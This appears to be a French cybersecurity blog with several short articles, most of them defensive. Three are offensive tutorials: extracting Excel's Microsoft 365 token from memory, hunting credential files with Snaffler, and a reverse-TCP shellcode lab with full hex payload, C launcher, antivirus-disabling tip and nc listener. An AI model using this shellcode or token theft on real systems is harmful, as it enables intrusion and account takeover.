# Dénicher le jeton d’accès d’Excel *(antelitteram cyber - rédigé en fév. 2024)* Le jeu consiste à extraire le jeton d’accès utilisé par le tableur Excel installé sur l’ordinateur. Ce jeton donne la possibilité d’utiliser (lire, écrire, modifier, ouvrir, créer, supprimer, déplacer, etc.) les documents stockés sur la plateforme Microsoft 365 (le *tenant*) à laquelle l’utilisateur a souscrit. ## Comment l'application Excel de l’ordinateur obtient-elle ce jeton d’accès ? Lorsque l’utilisateur a installé l'application Excel, il s’est authentifié (p.ex. par login / mot de passe) sur la plateforme Microsoft 365. Un certificat a alors été attribué par Microsoft à l’installation Excel réalisée sur l’ordinateur. Ce certificat est stocké dans le magasin de certificats de l’ordinateur. C’est ce certificat qui permet d'attester qu’une authentification initiale par login/mot de passe a été réussie lors de l’installation d’Excel sur l’ordinateur. La détention, par l’ordinateur, de la clé privée associée à ce certificat donne la possibilité à l’ordinateur d’obtenir auprès du tenant, un jeton d’accès temporaire, puis de le renouveler autant que de besoin, sans que l’utilisateur soit invité à s’authentifier à nouveau par login/ mot de passe. ## Pourquoi le jeton d’accès est-il temporaire? Cette propriété limite le risque de rejeu du jeton par une personne malveillante ayant réussi à capturer le jeton malgré les moyens de protection en place. L’application Excel de l’ordinateur est en mesure de demander un renouvellement du jeton au *tenant*. ## Comment extraire le jeton d'accès? Lancer d’abord l’application Excel installée sur l’ordinateur. Le script python *TokenFinder* permet extraire le jeton de la mémoire vive de l’ordinateur. Ce script est lancé à partir d’une console *cmd* en mode administrateur : `python.exe TokenFinder.py` Found the following relevant running processes: EXCEL -- 9648 dumped relevant processes trying to extract tokens from: EXCEL.DMP Tokens were extracted to tokens.txt! Enjoy :) Voici, p.ex., un jeton extrait de cette manière. Il est encodé en base64. Chaque partie (header, payload, signature) est séparée par un point. Le header et la payload sont signés. Nous n'affichons pas les caractères intermédiaires : extracted from: EXCEL.DMP audience: https://xxxx-my.sharepoint.com/ scope: user_impersonation token: EyJ0eXAiO...xxxx...WSJ9.eyJh...xxxx...xIn0.cnRs..xxxx...Pu-Q ## Comment décoder le jeton d’accès? Le jeton d’accès est une structure JSON codée en base 64. Son décodage est possible, parmi d’autres méthodes, sur la plateforme [`jwt.io`](https://jwt.io/) . Nous n'affichons pas les caractères intermédiaires. HEADER:ALGORITHM & TOKEN TYPE { "typ": "JWT", "alg": "RS256", "x5t": "9Gmn...xxxx...Lo7Y", "kid": "9Gmn...xxxx...Lo7Y " } { "aud": "https://xxxx-my.sharepoint.com/", "iss": "https://sts.windows.net/b3xxxxb4-6xx8-4xx5-8xxf-6366xxxx89af/", "iat": 1699697335, "nbf": 1699697335, "exp": 1699788582, "acr": "1", "aio": "ATxxy/8VAA...xxx...c3qC", "amr": ["pwd"], "app_displayname": "Microsoft Office", "appid": "d3xxxxd6-5xx3-4xx2-axxf-aad2xxxxb01c", "appidacr": "0", "deviceid": "736xxx7b-2xx1-4xx9-axx9-07b8xxxxa278", "family_name": "xxxx", "given_name": "xxxxxx", "idtyp": "user", "ipaddr": "1xx.xx.1xx.2xx", "name": "xxxx", "oid": "97xxxxe1-cxx9-4xx2-bxx7-c588xxxx1957", "onprem_sid": "S-1-5-21-22xxxxxx28-18xxxxxx08-17xxxxxx72-10xxx42", "puid": "1003xx..xxF029", "rh": "0.AQsAt...xxx...EAAU.", "scp": "user_impersonation", "sid": "37xxxxbc-1xxd-4xx5-bxx6-21...xxx...1a", "sub": "BYum...xxx...nzMM", "tid": "b3xxxxb4-6xx8-4xx5-8xxf-6366xxxx89af", "unique_name": "xxx@xxx", "upn": "xxx@xxx", "uti": "zphq...xxx...0FAA", "ver": "1.0", "wids": ["b7xxxx4d-3xx9-4xx9-8xx3-76b1xxxx5509"], "xms_cc": ["CP1"], "xms_ssm": "1" } ## Quelques informations intéressantes dans le jeton : x5t, deviceid, iat, exp, amr L’objet JSON libellé “x5t” correspond à l’empreinte du certificat ayant servi à la signature du jeton. Ce certificat appartient au groupe de certificats détenus par le serveur STS (*security token service*) de Microsoft. La valeur de l’attribut « deviceid » est fixée lors de l’installation d'Office sur l’ordinateur. Cette valeur peut être affichée grâce à la commande `dregcmd.exe /status` La valeur de l’attribut “iat" correspond au jour et à l’heure auxquels a été obtenu le jeton d’accès. Cette valeur est exprimée au format “Unix timestamp”. P.ex. 1699697335 équivaut à Sat Nov 11 2023 11:08:55 GMT+0100 La valeur de l’attribut "exp" correspond au jour et à l’heure auxquels expire le jeton d’accès. Cette valeur est exprimée au format “Unix timestamp”. P.ex. 1699788582 équivaut à Sun Nov 12 2023 12:29:42 GMT+0100 La valeur de l’attribut “amr" correspond à la méthode d’authentification utilisée en vue de l’obtention du jeton d’accès. La valeur “pwd” signifie que l'authentification initiale (lors de l’installation d’Excel) a été effectuée par mot de passe. ## Comment afficher le certificat attribué à l'installation d’Excel ? La commande `certutil -user -store My` ... affiche les certificats stockés dans le magasin *personnel* de l'ordinateur. L'un d'entre eux nous intéresse. L’émetteur de ce certificat est bien le domaine *windows.net* : DC=net + DC=windows + CN=MS-Organization-Access ... On observe que ce certificat est bien doté d’une clé privée. ## Références [`TokenFinder`](https://github.com/doredry/TokenFinder) [`Microsoft - certificate-credentials`](https://learn.microsoft.com/en-us/entra/identity-platform/certificate-credentials)

# En version 2.55, `Keepass` contrôle désormais la dérivation de la clé maître *(antelitteram cyber - rédigé en oct. 2023)* ## Qu'est ce que la clé maître ? La clé maître est le condensat SHA256 du mot de passe maître. Ce mot de passe maître sert à chiffrer la base de données contenant les comptes et mots de passe. Ainsi, le vol du fichier *.kdbx* contenant cette base de données ne permettra pas à l'attaquant d'accéder aux mots de passe. P.ex. si mon de passe maître est *monMotdepasseMaitre* , la clé maître est e0beaecd9c8e7ea7405b06b30f34050d ba8519447b93a565a985be83cd4e833d Attention : choisir un mot de passe maître non trivial est essentiel. Ne pas utiliser celui indiqué ci-dessus qui ne répond pas aux règles de robustesse minimales. ## Pourquoi dériver la clé maître ? L'attaquant ayant volé le fichier *.kdbx* contenant la base de données des mots de passe, tente de déchiffrer cette base de données en essayant à la volée, grâce à un automate, plusieurs millions de clés calculées à partir d'un volumineux dictionnaire de mots de passe. Quand la clé est dérivée, la fonction de dérivation (par défaut, il s'agit de AES-KDF) réalise plusieurs itérations afin d'accroître le temps d'obtention (computation) de la clée dérivée. Si ce temps est, p.ex., d'une seconde, l'attaque par dictionnaire devient plus longue, ce qui décourage l'attaquant. En complément, la dérivation de clé est réalisée avec un sel. Ce sel est un mot aléatoire intégré au calcul de la clé dérivée. L'existence de ce sel empêche l'attaquant de calculer par avance les clés à essayer. ## Comment Keepass 2.55 contrôle-t-il la qualité de la dérivation de la clé maître ? D.Reichl, le talentueux développeur de `Keepass`, a ajouté une option de configuration : 'Show warning when the key transformation settings are weak' (voir 'Tools' → 'Options' → onglet 'Security'). Cette option est désormais validée par défaut. De cette manière, si le nombre d'itérations paramétré pour la fonction de dérivation est insuffisant (p.ex. 6000), l'utilisateur est avisé par un message pop-up et est invité à accepter un paramètre plus sûr, p.ex. 6000000. Notons que la valeur par défaut des versions antérieures de `Keepass` était 6000 itérations. [`voir l'image`](https://antelitteram.fr/img/keepass_aes_kdf_a.png) `Keepass` permet aussi à l'utilisateur d'estimer le temps de dérivation résultant. P.ex. 1 seconde. L'estimation tient compte de la capacité de calcul de l'ordinateur. Pour tester, suivre 'File' → 'Database Settings' → 'Security' Charge à l'utilisateur de trouver le compromis entre le temps nécessaire pour dériver la clé maître à chaque déchiffrement de la base de mots de passe *.kdbx* (plus ce temps est long, plus le coût de l'attaque est élevé), et ce qui est acceptable en matière d'ergonomie. Comme souvent, il bon, pour discerner, de relire les 2 fois 10 lois immuables du risque cyber et de la sécurité : - Selon la 3e loi du risque cyber, *productivity always wins* - Selon la 7e loi de la sécurité, *encrypted data is only as secure as its decryption key* [`voir l'image`](https://antelitteram.fr/img/keepass_aes_kdf_b.png) [Source Keepass](https://keepass.info/news/n231012_2.55.html) [Source Microsoft](https://learn.microsoft.com/en-us/security/zero-trust/ten-laws-of-security)

# Un copilote dans la `blue team` ? *(antelitteram cyber - rédigé en oct. 2023)* L'assistant `IA Security copilot` , tout juste élaboré par `Microsoft` : - répond aux questions de sécurité des défenseurs, - apprend et s'adapte à partir des interactions, - ajuste ses recommandations à chaque entreprise, - résume instantanément un incident de sécurité, - analyse en temps réel les logiciels malveillants. [`Source Bleepingcomputer`](https://www.bleepingcomputer.com/news/microsoft/microsoft-announces-security-copilot-early-access-program) ## Est-ce un hasard ? ... si l'actualité en matière de programmation informatique met en valeur cette réflexion de l'informaticien néerlandais `Edsger Dijkstra` (1930-2002) : *Tant qu'il n'y avait pas de machines, la programmation n'était pas un problème du tout ; Lorsque nous avions quelques ordinateurs de faible puissance, la programmation est devenue un problème bénin, et maintenant que nous avons des ordinateurs gigantesques, la programmation est devenue un problème tout aussi gigantesque* [`Source Wired`](https://https://www.wired.com/story/chatgpt-coding-software-crisis) ## Où veux-tu en venir ? En substituant *sécurité* à *programmation* , l'informaticien contemporain pourrait postuler que la sécurité est devenue un problème si gigantesque qu'il est venu le temps d'intégrer un copilote à l'équipe bleue.

Rechercher des traces de credentials avec `snaffler` ================================================== *(antelitteram cyber - rédigé en oct. 2023)* L'attaquant a compromis un ordinateur du réseau. Maintenant, il entreprend de rechercher des partages de fichiers accessibles avec les permissions allouées au compte compromis. Il cherche principalement des fichiers contenant des credentials : liste de logins associés à un condensat (hash) de mot de passe, voire au mot de passe lui-même. Il peut s'agit aussi de fichiers de clés contenant une clé privée. Pourquoi rechercher des fichiers de credentials ? ------------------------------------------------- L'attaquant cherche à compromettre de nouveaux comptes, dont certains pourraient être dotés de privilèges intéressants. P.ex. des privilèges d'administration. Est-ce facile ? --------------- Dans un réseau composés de multiples serveurs, il peut avoir un grand nombre de fichiers accessibles sur l'ordinateur compromis et sur les partages auxquels il a accès. Plusieurs types de fichiers peuvent contenir des credentials. La tâche de l'attaquant est ardue et pénible. Pour faciliter sa tâche, il y a une astuce : `snaffler`. Il s'agit d'un utilitaire capable de découvrir les partages accessibles et, parmi ceux-ci d'identifier, selon 4 niveaux de criticité (Black -- le plus critique, Red, Yellow, Green), les fichiers susceptibles de contenir des credentials. [`Source SnaffCon - Snaffler`](https://github.com/SnaffCon/Snaffler) Que fait `snaffler` ? ------------------- `snaffler` est doté d'ensembles de règles pouvant s'enchaîner : rechercher un fichier selon son extension (p.ex. kdbx, vmdk, ps1, dmp, cmd, bat), selon son nom (p.ex. shadow, NTDS.DIT, SAM, SYSTEM, id\_rsa). Si un fichier est trouvé selon ces premières règles, son contenu est ensuite analysé à la recherche de mots clés (p.Ex. connectionString, password, PRIVATE KEY). Et après ? ---------- L'attaquant ayant obtenu un hash peut l'utiliser pour fomenter une tentative de `PtH` (pass the hash) qui lui permettra de se connecter à serveur avec le compte correspondant au hash. L'attaquant a une alternative : trouver le mot de passe correspondant au hash obtenu, grâce à un utilitaire comme `hashcat` adossé à un dictionnaire de plusieurs Go de mots de passe et à un algorithme comportant diverses règles de substitution de caractères. Cette attaque par dictionnaire peut s'effectuer hors ligne en mettant à contribution une puissance de calcul adéquate. `snaffler` en action ------------------ Pour avoir une idée, il est possible de tester simplement `snaffer` sur un ensemble de dossiers d'un ordinateur Windows. *Snaffler.exe -x 4 -o snaffler.log -i C:\Users\mon\_user* On cherche ensuite dans le fichier log, les lignes de criticité Black. *type snaffler.log \| findstr Black* \[LAPTOP-XX\\mon\_user\@Laptop-xx\] 2023-10-16 16:11:35Z \[File\] {Black}\ KeepPassMgrsByExtension\|R\|\^.kdbx\$\|64kB\|2023-09-16 07:48:34Z\ (C:\\Users\\mon\_user\\Documents\\mon\_keepass.kdbx) .kdbx (...) \[LAPTOP-XX\\mon\_user\@Laptop-xx\] 2023-10-16 17:19:21Z \[File\] {Black}\ KeepNixLocalHashesByName\|R\|\^shadow\$\|1008B\|2023-10-16 17:06:23Z\ (C:\\Users\\mon\_user\\Downloads\\shadow) shadow (...) On observe le nom de la règle ayant fonctionné (P.ex. KeepNixLocalHashesByName), la capacité à lire le fichier (R), l'expression régulière utilisée (P.ex. \^shadow) et le chemin du fichier.

# S'amuser avec un reverse tcp `shellcode` (educational purpose only) *(antelitteram cyber - rédigé en nov. 2023)* ## Qu’est-ce qu’un `shellcode` ? C’est un tout petit programme écrit en assembleur qui peut être injecté en mémoire et exécuté directement par le processeur. Il est capable de manipuler les sockets, les fichiers, les processus, etc. avec les droits du processus hôte. ## Mais comment un si petit `shellcode` peut-il accéder aux fonctions système de l’API Windows? Dans le monde Windows, la librairie *kernel32.dll* est la seule qui est assurément chargée en mémoire. Cette librairie dispose d’interfaces qui permettront au `shellcode` de charger les autres librairies qui lui seront utiles. Cependant, dans la vraie vie, le `shellcode` qui s’exécute ne sait pas où se trouve la librairie *kernel32.dll* . Le `shellcode` commence donc par localiser, par ses propres moyens, l’adresse mémoire de la librairie *kernel32.dll*. Voici un exemple de code assembleur pour y parvenir. Cet extrait de `shellcode` utilise la méthode dite *Process Environment Block* (PEB) pour localiser la librairie *kernel32.dll* . Cette méthode ne sera pas détaillée ici. Le lecteur pourra utilement approfondir le sujet grâce au papier suivant : win32-shellcode - hick.org - 2003 . L’exemple de shellcode que nous utilisons dans l’exercice provient de [exploit-db - X.Vassilakopoulos - licence MIT - 2021](https://www.exploit-db.com/shellcodes/50291) ; Locate Kernelbase.dll address XOR ECX, ECX ;zero out ECX MOV EAX, FS:[ecx + 0x30] ;EAX = PEB MOV EAX, [EAX + 0x0c] ;EAX = PEB->Ldr MOV ESI, [EAX + 0x14] ;ESI = PEB->Ldr.InMemoryOrderModuleList LODSD ;memory address of the second list entry structure XCHG EAX, ESI ;EAX = ESI , ESI = EAX LODSD ;memory address of the third list entry structure XCHG EAX, ESI ;EAX = ESI , ESI = EAX LODSD ;memory address of the fourth list entry structure MOV EBX, [EAX + 0x10] ;EBX = Base address ## Quelle plateforme pour s’exercer ? Nous nous proposons de mettre en évidence la fonctionnalité *reverse tcp* du `shellcode`. Grâce à cette fonctionnalité, il nous sera possible, une fois que le `shellcode` sera exécuté par la machine A, de télécommander cette machine à partir d’une machine B située sur le même réseau. Pour simplifier l’exercice, la machine A sera un ordinateur *Windows 10* lambda, la machine B sera une machine virtuelle WSL (*Windows subsystem for linux*) s’exécutant sur le même ordinateur. Mais avant de s’exercer, il y a lieu de préparer le `shellcode`. ## Comment préparer le `shellcode` à partir du code source? Nous nous inspirons de la méthode publiée par [xen0vas](https://xen0vas.github.io/Win32-Reverse-Shell-Shellcode-part-3-Constructing-the-reverse-shell-connection). Il nous faut une machine Linux (p.ex. *Xubuntu*) pour réaliser l'assemblage puis le désassemblage. Avant de procéder, il convient de modifier la ligne suivante du `shellcode` : l’adresse IP 0bc9a8c0 doit être remplacée par l’adresse de la machine B de l’exercice (voir l'art. plateforme ci-dessus). Considérer ce faisant, le mode de représentation *little endian* propre aux architectures X86 Intel. P.ex. 0bc9a8c0 représente 192.168.201.11 ;call connect PUSH 0x0bc9a8c0 ;sin_addr set to 192.168.201.11 Sur notre plateforme d’exercice, l’adresse IP de la machine B est 172.26.120.10 soit 0a781aac nasm -f win32 rev.nasm -o rev.obj Cette commande assemble le code source qui a été copié dans le fichier *rev.nasm* . Le fichier de sortie au format *obj* rendra le code exécutable par un système Windows (après transformation par un *linker*). ld -m elf_i386 -s -o rev.exe rev.obj Grâce à cette commande le *linker* génère un fichier exécutable .exe objdump -d ./rev.exe|grep '[0-9a-f]:'|grep -v 'file'|cut -f2 -d:|cut -f1-7 -d' '|tr -s ' '|tr '\t' ' '|sed 's/ $//g'|sed 's/ /\\x/g'|paste -d '' -s |sed 's/^/"/'|sed 's/$/"/g' Cette commande désassemble le fichier exécutable *rev.exe* . Elle produit une chaîne de caractères représentant les instructions qui seront exécutées par le processeur. Cette chaîne de caractères constitue le `shellcode` proprement dit. [`voir l'image du shellcode`](https://antelitteram.fr/img/reverse_tcp_shellcode.png) ## Comment exécuter le shellcode pour l’exercice? Dans la vraie vie, le `shellcode` est injecté dans la mémoire d’un processus vulnérable, puis exécuté. Pour l’exercice, nous déclencherons nous-même l’exécution du `shellcode` grâce à un lanceur (*stub*) écrit en langage C. #include windows.h char code[] = “\x31\xc9\x64\x8b\x41\x30\x8b\x40\x0c\x8b\x70\x14\xad\x96\xad\x96\xad\x8b” “\x58\x10\x8b\x53\x3c\x01\xda\x8b\x52\x78\x01\xda\x8b\x72\x20\x01\xde\x31” “\xc9\x41\xad\x01\xd8\x81\x38\x47\x65\x74\x50\x75\xf4\x81\x78\x04\x72\x6f” “\x63\x41\x75\xeb\x81\x78\x08\x64\x64\x72\x65\x75\xe2\x8b\x72\x24\x01\xde” “\x66\x8b\x0c\x4e\x49\x8b\x72\x1c\x01\xde\x8b\x14\x8e\x01\xda\x31\xc9\x53" “\x52\x51\x68\x61\x72\x79\x41\x68\x4c\x69\x62\x72\x68\x4c\x6f\x61\x64\x54” “\x53\x89\xde\xff\xd2\x83\xc4\x0c\x5a\x50\x52\x66\xba\x6c\x6c\x52\x68\x33” “\x32\x2e\x64\x68\x77\x73\x32\x5f\x54\xff\xd0\x83\xc4\x10\x8b\x54\x24\x04” “\x68\x75\x70\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x74\x61\x72\x74\x68" “\x57\x53\x41\x53\x54\x50\x89\xc7\xff\xd2\x31\xdb\x66\xbb\x90\x01\x29\xdc” “\x54\x53\xff\xd0\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b\xdb\x64\x8b\x14\x1c” “\x68\x74\x41\x61\x61\x66\x81\x6c\x24\x02\x61\x61\x68\x6f\x63\x6b\x65\x68” “\x57\x53\x41\x53\x54\x89\xf8\x50\xff\xd2\x57\x31\xc9\x52\x52\x52\xb2\x06” “\x52\x41\x51\x41\x51\xff\xd0\x91\x5f\x83\xc4\x10\x31\xdb\x80\xc3\x04\x6b” “\xdb\x63\x8b\x14\x1c\x68\x65\x63\x74\x61\x66\x83\x6c\x24\x03\x61\x68\x63” “\x6f\x6e\x6e\x54\x57\x87\xcd\xff\xd2\x68\xac\x1a\x78\x0a\x66\x68\x11\x5c” “\x31\xdb\x80\xc3\x02\x66\x53\x89\xe2\x6a\x10\x52\x55\x87\xef\xff\xd0\x83” “\xc4\x14\x31\xdb\x80\xc3\x04\x6b\xdb\x62\x8b\x14\x1c\x68\x73\x41\x61\x61” “\x81\x6c\x24\x02\x61\x61\x00\x00\x68\x6f\x63\x65\x73\x68\x74\x65\x50\x72” “\x68\x43\x72\x65\x61\x54\x89\xf5\x55\xff\xd2\x50\x8d\x28\x68\x63\x6d\x64” “\x61\x66\x83\x6c\x24\x03\x61\x89\xe1\x31\xd2\x83\xec\x10\x89\xe3\x57\x57” “\x57\x52\x52\x31\xc0\x40\xc1\xc0\x08\x50\x52\x52\x52\x52\x52\x52\x52\x52” “\x52\x52\x31\xc0\x04\x2c\x50\x89\xe0\x53\x50\x52\x52\x52\x31\xc0\x40\x50” “\x52\x52\x51\x52\xff\xd5"; int main(int argc, char** argv) { void* exec = VirtualAlloc(0, strlen(code), MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(exec, code, sizeof(code)); ((void(*)())exec)(); return 0; } cl stub.c Grâce à cette commande nous compilons le code source du lanceur avec, p.ex, *Virtual studio Developer Command Prompt*. Il en résulte le fichier *stub.exe* qui sera utilisé pour exécuter le `shellcode`. ## Comment s’exercer, maintenant que nous disposons du `shellcode` et du lanceur ? ip addr add 172.26.120.10/20 broadcast 172.26.127.255 dev eth0 label eth0:1; Cette commande est passée sur la machine B (WSL). Elle permet d’associer l’adresse IP 172.26.120.10 à l’interface réseau de cette machine. En effet, WSL assigne par ailleurs une adresse qui peut changer. Pour mémoire, l’adresse 172.26.120.10 est codée dans notre `shellcode` (Cf. préparer le shellcode, ci-dessus). Copier le lanceur (*stub.exe*) sur la machine A. La désactivation temporaire de l’antivirus sera sans doute nécessaire : dans la vraie vie, un `shellcode` constitue un danger pour l’ordinateur. Sur la machine B (WSL), mettre le port TCP 4444 en écoute, grâce à l’utilitaire *netcat*. Le `shellcode` est en effet codé pour communiquer à destination de ce port. nc -nlvp 4444 Activer le lanceur sur la machine A (*Windows 10*): .\stub.exe Sur la machine B, nous obtenons le *shell* (console *cmd*) de la machine A.

Sauvegarder le mot de passe RDP : c'est pas permis ! =========================================================== *(antelitteram cyber - rédigé en oct. 2023)* `Remote desktop protocol` (RDP) , utilisé en mode client, est un logiciel installé sur l'ordinateur permettant de prendre le contrôle d'un serveur (ou d'un autre ordinateur), lui-même doté du logiciel RDP en mode serveur. C'est bien pratique pour l'administration à distance. Bien que cette pratique soit déconseillée, l'administrateur système de l'entreprise est susceptible d'utiliser un ordinateur standard (i.e. non dédié à l'administration). Cet ordinateur standard ne bénéficie pas des mesures de durcissement applicables aux ordinateurs dédiés à l'administration. Pourquoi inhiber la possibilité de sauvegarder le mot de passe ? ---------------------------------------------------------------- Un attaquant ayant obtenu un accès physique à l'ordinateur sur lequel le mot de passe RDP a été sauvegardé, est en mesure de casser la protection appliquée aux mots de passe sauvegardés. Un attaquant, après avoir compromis un compte d'utilisateur, peut aussi se connecter à l'ordinateur sur lequel le mot de passe RDP a été sauvegardé, puis utiliser ce mot de passe RDP pour obtenir un accès à d'autres serveurs ou ordinateurs. *Source : CIS Microsoft Windows 10 Enterprise Benchmark v2.0.0 - control 18.10.57.2*

Mémo pour un PCA ================ *(antelitteram cyber - rédigé en oct. 2023)* L'entreprise accorde désormais une grande valeur aux actifs numériques : ordinateurs, systèmes d'exploitation, données, informations, processus, etc. Ces actifs sont sujets aux risques sur la confidentialité, l'intégrité et la disponibilité. Une perturbation touchant l'un des actifs numériques (ordinateurs, systèmes d'exploitation, données, processus, etc.) peut avoir un impact important sur le fonctionnement de l'entreprise. A quoi sert le PCA (plan de continuité de l'activité) ? ------------------------------------------------------- Le PCA est un processus stratégique pour réduire les risques d'interruption de l'activité. Le PCA se focalise sur la prévention de telles interruptions. P.ex. Pour prévenir une coupure d'énergie, le PCA de l'entreprise prescrit une alimentation électrique redondante. Ou bien : pour prévenir une panne du serveur, le PCA de l'entreprise prévoit un dispositif de « cluster » (en cas de panne d'un serveur, un autre serveur prend quasiment aussitôt le relais). Certaines perturbations sont plus graves. P.ex. La dégradation du datacenter suite à incendie : le PCA ne peut les prévenir complètement. Dans ce cas, l'entreprise activera le plan de reprise de l'activité (PRA). Le PRA de l'entreprise est souvent basé sur un site de repli distinct (et distant) du site fonctionnant en mode normal. Par où commencer ? ------------------ L'entreprise commence par analyser l'impact des perturbations potentielles sur son fonctionnement. Cette analyse est parfois appelée `Business Impact Analysis` (BIA). Au travers d'ateliers avec les principaux acteurs métier et IT, l'entreprise évalue l'impact qualitatif et quantitatif de la perturbation d'un actif numérique sur les métiers. L'entreprise a intérêt à considérer en premier lieu les événements redoutés susceptibles de rendre indisponibles certains actifs numériques. P.ex. En cas d'indisponibilité du système, la livraison de marchandises aux clients n'est plus possible, ce qui implique pour l'entreprise une perte importante de revenus. Il résulte de ces ateliers un périmètre de métiers « prioritaires » dont il convient de planifier la continuité en cas de perturbation. Comment se donner des objectifs en prévision d'une perturbation ? ----------------------------------------------------------------- La direction de l'entreprise convient de deux objectifs pour chaque processus métier entrant dans le périmètre, en concertation avec les acteurs métiers et IT : Le `Recovery Time Objective` (RTO) : c'est la durée souhaitée à l'issue de laquelle le système est à nouveau fonctionnel. P.ex. Les actifs numériques nécessaires au processus de livraison des marchandises aux clients doivent être rétablis dans un délai de 8h. Le RTO est ici de 8h. Ce délai étant relativement court, un datacenter actif combiné à un datacenter passif sera bien utile pour respecter l'objectif. Le `Recovery Point Objective` (RPO) : c'est la durée maximum admissible de perte de données, à suite à une procédure de restauration. P.ex. La responsable du processus de livraison des marchandises aux clients, admet pouvoir perdre, suite à une restauration, des données correspondant à 30 mn de fonctionnement normal. Le RPO est ici de 30 mn. La fréquence des sauvegardes doit être compatible avec le RPO. Et après ? ---------- L'entreprise établit des plans et procédures visant à assurer la continuité des opérations pendant et après la survenance d'une perturbation d'un actif numérique. Deux procédures importantes du PCA décrivent le test et la mise à jour des plans et procédures qu'il contient. P.ex. Les plans et procédures du PCA sont typiquement : les contacts des équipes de réponse à incidents, les procédures de restauration des systèmes et des données, la procédure de retour à la normale, le plan de sensibilisation des parties prenantes. L'entreprise complète le PCA par un PRA. Ce dernier intègre les plans et procédures en cas de sinistre. P.ex. La composition de l'équipe d'activation du PRA (site de repli) et de l'équipe chargée du retour vers le site d'origine, la procédure de reprise de l'activité sur le site de repli, la procédure de restauration des données depuis une sauvegarde, la procédure de retour sur le site nominal, le plan de communication interne et externe, l'éventuelle souscription d'une assurance et/ou la prévision d'allocation urgente d'une enveloppe budgétaire. Comme le PCA, l'entreprise teste régulièrement le PRA, soit complètement (l'entreprise bascule réellement vers le site de repli), soit par le biais de revues de documentation ou de simulation sous la forme d'exercices sur table.

Sécurité Windows : LLMNR et NBST-NS dans le top 10 des erreurs de configuration relevées par NSA et CISA (oct. 2023) ==================================================================================================================== *(antelitteram cyber - rédigé en oct. 2023)* La résolution de noms (LLMNR) et le service de noms NetBIOS (NBST-NS), sont des composants Microsoft Windows qui servent de méthodes alternatives d\'identification de l\'hôte. Si ces services sont activés dans un réseau, les acteurs malveillants peuvent utiliser des techniques d\'usurpation d\'identité, d\'empoisonnement (*poisoning*) et de relais \[MITRE ATT&CK - T1557.001\] pour obtenir des condensats AD (NT *hash*) en vue d'obtenir un accès au système. Comment fait l'acteur malveillant ? ----------------------------------- L'acteur malveillant usurpe une source faisant autorité pour la résolution de noms sur un réseau cible en répondant au trafic de passage. Il empoisonne ainsi efficacement le service de noms afin que les ordinateurs cibles communiquent avec un système contrôlé par l\'acteur malveillant au lieu du service de noms légitime. Si la machine demandée par l'ordinateur cible nécessite une identification/authentification, l\'ordinateur cible enverra le nom d\'utilisateur et le condensat de l\'utilisateur au système contrôlé par l\'acteur malveillant. Une fois en possession du condensat, l'acteur malveillant le déchiffre hors ligne pour obtenir le mot de passe \[MITRE ATT&CK - T1110.002\]. [`Source NSA-CISA`](https://media.defense.gov/2023/Oct/05/2003314578/-1/-1/0/JOINT_CSA_TOP_TEN_MISCONFIGURATIONS_TLP-CLEAR.PDF)

urlscan.io : tout savoir sur une page html ========================================== *(antelitteram cyber - rédigé en oct. 2023)* [`urlscan.io`](https://urlscan.io) , fourni par une société allemande, est idéal pour analyser une page web. Pourquoi vouloir analyser une page web ? ---------------------------------------- Si c'est une page web que vous venez d'élaborer ou de faire développer, `urlscan.io` vous permet de vérifier qu'elle fonctionne comme vous l'avez prévu. Si c'est une page web dont vous voulez évaluer la sécurité, `urlscan.io` analyse dynamiquement le contenu de la page et vous économise de multiples manipulations. Prenons un exemple ------------------ Nous allons analyser la page d'accueil du site `tkn.xyz` Grâce à l'onglet `Redirects`, le type de redirection de `http` vers `https` est clairement indiqué : [`voir l'image`](https://antelitteram.fr/img/article_urlscan_io.md_pic_a.png)

L'onglet `HTTP` apporte également son lot de découvertes. Ainsi, en sélectionnant le sous-critère `AJAX`, nous obtenons : [`voir l'image`](https://antelitteram.fr/img/article_urlscan_io.md_pic_b.png) La 2ème ligne montre que le site effectue une requête vers une URI `ipfs` : QmQaKf4FDZY9RKZT8S4Pv62 gzDcQ8haYS8beHkLA7UnBa8 A cet effet, nous observons que le site dispose de sa propre passerelle vers `ipfs` : `gateway.tkn.xyz/ipfs/` L'analyste peut obtenir le contenu `json` pointé par l'URI : il suffit cliquer sur `Show response`

L'onglet `Summary` donne accès à un autre onglet : `Domain Tree` S'affichent alors les transactions HTTP réalisées depuis la page analysée. Il est intéressant d'observer les domaines interagissant avec la page analysée. [`voir l'image`](https://antelitteram.fr/img/article_urlscan_io.md_pic_c.png)

*à suivre*         
                 ↑ vers le haut